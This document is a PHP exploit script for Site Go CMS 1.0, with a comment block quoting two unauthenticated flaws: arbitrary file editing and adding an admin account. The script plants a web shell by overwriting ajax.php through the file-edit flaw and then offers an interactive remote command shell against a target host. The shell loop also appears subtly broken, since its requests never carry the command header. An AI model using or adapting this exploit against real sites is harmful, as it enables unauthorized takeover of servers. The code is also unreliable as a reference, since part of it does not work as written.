Site Go CMS <= 1.0 Remote Command Execution

<?php
/*
    -----------------------------------------------------------------
    Site Go CMS  <= 1.0 Remote Command Execution
    -----------------------------------------------------------------

    author...........: Black-ID
    mail.............: dzcoder[at]hotmail[dot]fr
    software link....: http://site-go.com/

    [1] Arbitary File edit/disclosure
        [-] Vulnerable code in :
        admin/extra/StyleManager/EditFile.php

        .11  $MyFile = "../style/".$_GET[OpenStyle]."/templet/".$_GET['EditFile']."";
        ...
        .21  $EditCode=$_POST['EditCode'];
        ...
        .27  $FILE_op=fopen("$MyFile","w");
        .28  $FILE_r=fputs($FILE_op,"$EditCode");

        The vulnerability is caused due to the absence of session limtation by the autor,
        This can lead to execution of arbitrary PHP code by  editing/disclosuring high sensitive files such as config/config.php.

    [2] Arbitary add admin
        [-] Vulnerable code in :
        admin/extra/moderators/add.php

        .3  if ($_POST['sub_add']){
        .4
        .5  $permissions="$_POST[articles_mo] , $_POST[gallery_mo] , $_POST[songs_mo] , $_POST[video_mo] , $_POST[programs_mo] , $_POST[links_mo] , $_POST[multi_mo] , $_POST[root_mo] , ";
        .6  $pass=md5("$_POST[pass]");
        ...
        .22  if (!$plz_dontadd){
        .23  $add=@mysql_query("INSERT INTO `user_account` (user,pass,email,permissions,reg_date)values('$_POST[user]','$pass','$_POST[email]','$permissions','$conf[Time]')");

        The vulnerability is caused due to the absence of session limtation by the autor,
        This can lead to add superuser with full permissions .

    [*] and more ...

*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{

    if (($sock = fsockopen($host, 80))){
    fputs($sock, $packet);
    return stream_get_contents($sock);
    }
}
print "\n+-------------------------------------------------------------------+";
print "\n| Site Go CMS   <= 1.0 Remote Command Execution By Black-ID         |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 2)
{
    print "\nUsage......: php $argv[0] host path/ \n";
    print "\nExample....: php $argv[0] localhost sitego/ \n";
    die();
}

    $host = $argv[1];
    $path = $argv[2];

    $payload = 'EditCode=<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD])); die; ?>';
    $packet  = "POST /{$path}admin/extra/StyleManager/EditFile.php?OpenStyle=../..&OpenFolder=../..&EditFile=ajax.php HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Connection: close\r\n\r\n{$payload}";
    $response = http_send($host,$packet);

while(1)
{
    print "\nSitego-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $packet  = "GET /{$path}ajax.php HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
?>